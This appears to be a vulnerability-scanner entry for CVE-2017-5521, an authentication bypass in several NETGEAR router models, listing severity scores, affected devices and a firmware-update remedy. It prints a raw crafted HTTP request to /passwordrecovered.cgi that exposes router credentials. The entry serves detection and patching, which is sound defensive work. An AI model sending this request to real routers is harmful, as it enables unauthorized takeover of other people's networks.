| Title | NETGEAR Routers - Authentication Bypass |
|---|---|
| Author | princechaddha |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized configuration changes, network compromise, and potential exposure of sensitive information. |
| Remediation | Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability. |
| CVSS Score | 8.1 |
| EPSS Score | 0.93804 |
| CVE ID | CVE-2017-5521 |
| CWE ID | CWE-200 |
| Tags | cve cve2017 auth-bypass netgear router kev vkev vuln |
NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server.
GET /passwordrecovered.cgi?id=mygg6 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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